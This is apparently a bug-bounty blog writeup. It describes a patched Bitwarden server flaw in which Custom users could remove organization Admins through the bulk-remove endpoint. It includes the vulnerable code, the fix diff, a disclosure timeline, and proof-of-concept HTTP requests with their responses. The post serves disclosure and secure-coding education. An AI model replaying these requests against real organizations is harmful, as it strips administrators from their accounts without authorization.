cd ../blog
cat /var/log/exploits/bitwarden-bulk-remove-admin.md

# Bitwarden: Custom Users Could Remove Admins via the Bulk-Remove Endpoint

HIGH
June 25, 2026
[4 min read]
BitwardenBug BountyAuthorizationPrivilege EscalationHackerOneCVE Pending

Bitwarden: Custom Users Could Remove Admins via Bulk Remove

The single-user remove path blocked Custom → Admin. The bulk path forgot to.

Fourth writeup in my Bitwarden series, and a textbook *incomplete-coverage* bug. A role-hierarchy guard that lived on the single-user remove endpoint was never copied onto its bulk twin — so a low-privileged Custom user could do through the bulk endpoint exactly what the single endpoint refused: remove Admins from the organization.

  • Vendor: Bitwarden
  • Product: bitwarden/server
  • Severity: High (CVSS 7.1)
  • CVE: Pending — requesting one for this issue
  • Report: HackerOne #3673748
  • Fix: PR #7526 — commit `901bb671`
  • Fixed in: server release `2026.6.0` (2026-06-10) — Cloud + self-hosted

//TL;DR

Bitwarden blocks a Custom user (with only ManageUsers) from removing an Admin — but only on the single-user endpoint DELETE /organizations/{orgId}/users/{id}. The bulk endpoint DELETE /organizations/{orgId}/users runs the same operation through a *different* method, RemoveUsersInternalAsync, whose per-user loop validated self-removal, owner-by-non-owner, and claimed-account status — but not Custom → Admin.

So the attack is trivial: a Custom user lists the org, grabs an Admin's organization-user ID, and removes them through the bulk path. The single-user guard was added back in PR #5590 (Apr 2025); the bulk path was simply never given the same check — until this report.


//The vulnerable code

The single-user remove path (RepositoryRemoveUserAsync) gets it right:

csharp
if (orgUser.Type == OrganizationUserType.Admin &&
    await _currentContext.OrganizationCustom(orgUser.OrganizationId))
{
    throw new BadRequestException("Custom users can not remove admins.");
}

The bulk path (RemoveUsersInternalAsync) ran the same conceptual operation, but its validation loop was missing that one branch:

csharp
foreach (var orgUser in filteredUsers)
{
    // ... self-removal check ...
    // ... owner-removed-by-non-owner check ...
    // ... claimed-account check ...
    // (no Custom -> Admin check)
    result.Add((orgUser, string.Empty));   // Admin silently queued for removal
}

Same logical action, two implementations, only one of them enforcing the hierarchy. That divergence — *parallel-path authorization divergence* — is one of the most reliable bug classes in any codebase that grew a "do this in bulk" sibling for an existing "do this once" handler.


//Attack flow

  1. 1.Attacker is a Custom user with only the ManageUsers permission.
  2. 2.List members via GET /organizations/{orgId}/users (allowed by ManageUsers) and read an Admin's organization-user ID.
  3. 3.The single-user remove is correctly refused:
http
DELETE /api/organizations/{orgId}/users/{adminOrgUserId} HTTP/2
Host: vault.bitwarden.com
Authorization: Bearer <custom-user-token>
json
{ "message": "Custom users can not remove admins.", "object": "error" }
  1. 4.The bulk remove succeeds with the same credentials:
http
DELETE /api/organizations/{orgId}/users HTTP/2
Host: vault.bitwarden.com
Authorization: Bearer <custom-user-token>
Content-Type: application/json

{"ids": ["{adminOrgUserId}"]}
json
{
  "data": [
    { "id": "{adminOrgUserId}", "error": "", "object": "OrganizationBulkConfirmResponseModel" }
  ],
  "continuationToken": null,
  "object": "list"
}

HTTP 200, and an empty "error" field means the Admin was removed. Confirmed live on vault.bitwarden.com with a Custom test account holding nothing but ManageUsers.


//The fix

Commit `901bb671` (PR #7526), shipped in 2026.6.0. It hoists a deletingUserIsCustom flag next to the existing deletingUserIsOwner one and adds the missing branch inside the loop:

diff
  var deletingUserIsOwner = false;
+ var deletingUserIsCustom = false;
  if (deletingUserId.HasValue)
  {
      deletingUserIsOwner = await _currentContext.OrganizationOwner(organizationId);
+     deletingUserIsCustom = await _currentContext.OrganizationCustom(organizationId);
  }

  // ... inside foreach (var orgUser in filteredUsers) ...

+ if (orgUser.Type == OrganizationUserType.Admin && deletingUserIsCustom)
+ {
+     throw new BadRequestException(RemoveAdminByCustomUserErrorMessage);
+ }

Tests landed in the same change. I also flagged the same gap in the Revoke and Restore commands; per Bitwarden's resolution, the same Custom → Admin guard was applied to those paths too.


//Disclosure timeline

All times UTC.

  1. 1.2026-04-14 — Reported to HackerOne (#3673748) with source analysis and a live PoC on vault.bitwarden.com.
  2. 2.2026-04-16 — Triaged. Severity adjusted (Scope: Unchanged → final High 7.1) and routed to engineering/product.
  3. 3.2026-04-23 — Fix merged to main: PR #7526, commit 901bb671.
  4. 4.2026-06-10 — Shipped in server release 2026.6.0 (Cloud + self-hosted).
  5. 5.2026-06-23 — Resolved and bounty awarded. Vendor confirmed the same guard was applied to the Revoke and Restore endpoints.

//Takeaways

  • When you add a "do it in bulk" sibling to an existing handler, the authorization checks do not come along for free. Every guard on the single-item path is a checklist item for the bulk path. Diff the two line by line.
  • A patch that fixes one entry point is not a patch for the vulnerability. PR #5590 fixed single-user remove in 2025 and left the bulk path open for over a year. Where a hierarchy check exists, hunt for every operation that should share it.

Thanks to @mandreko-bitwarden and the Bitwarden security team for the quick triage and fix.

@thesanjok

[EOF]